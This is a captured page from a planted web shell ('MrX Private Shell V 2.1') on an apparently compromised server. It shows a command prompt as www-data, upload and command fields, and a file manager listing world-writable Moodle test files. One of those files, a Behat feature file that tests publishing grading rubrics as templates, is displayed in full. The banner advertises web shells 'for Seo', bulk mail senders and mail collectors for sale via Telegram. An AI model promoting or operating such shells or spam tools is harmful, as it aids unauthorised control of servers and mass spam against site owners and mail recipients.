__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@gradingform @gradingform_rubric
Feature: Publish rubrics as templates
  In order to save time to teachers
  As a manager
  I need to publish rubrics and make them available to all teachers

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | teacher1@example.com |
      | manager1 | Manager | 1 | manager1@example.com |
    And the following "courses" exist:
      | fullname | shortname | format |
      | Course 1 | C1 | topics |
    And the following "activities" exist:
      | activity | course | idnumber | name                   | intro | advancedgradingmethod_submissions |
      | assign   | C1     | A1       | Test assignment 1 name | TA1   | rubric                            |
      | assign   | C1     | A2       | Test assignment 2 name | TA2   | rubric                            |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
    And the following "system role assigns" exist:
      | user | role | contextlevel | reference |
      | manager1 | manager | System | |
    And I log in as "manager1"
    And I am on "Course 1" course homepage
    And I go to "Test assignment 1 name" advanced grading definition page
    And I set the following fields to these values:
      | Name | Assignment 1 rubric |
      | Description | Assignment 1 description |
    And I define the following rubric:
      | Criterion 1 | Level 11 | 11 | Level 12 | 12 |
      | Criterion 2 | Level 21 | 21 | Level 22 | 22 |
    And I press "Save rubric and make it ready"
    When I publish "Test assignment 1 name" grading form definition as a public template
    And I log out
    And I log in as "teacher1"
    And I am on "Course 1" course homepage
    And I set "Test assignment 2 name" activity to use "Assignment 1 rubric" grading form
    Then I should see "Advanced grading"
    And I should see "Criterion 1"
    And I should see "Assignment 1 description"
    And I go to "Test assignment 2 name" advanced grading definition page
    And I should see "Current rubric status"

  @javascript
  Scenario: Create a rubric template and reuse it as a teacher, with Javascript enabled
    Then the field "Description" matches value "Assignment 1 description"
    And I should see "Criterion 1"
    And I press "Cancel"

  Scenario: Create a rubric template and reuse it as a teacher, with Javascript disabled
    Then the field "Description" matches value "Assignment 1 description"
    # Trying to avoid pointing by id or name as the code internals may change.
    And "//table[@class='criteria']//textarea[text()='Criterion 1']" "xpath_element" should exist
    And I press "Cancel"

Filemanager

Name Type Size Permission Actions
behat_gradingform_rubric.php File 21.43 KB 0777
edit_rubric.feature File 8.66 KB 0777
grade_calculation.feature File 2.83 KB 0777
negative_points.feature File 3.33 KB 0777
publish_rubric_templates.feature File 2.68 KB 0777
reuse_own_rubrics.feature File 2.53 KB 0777
Filemanager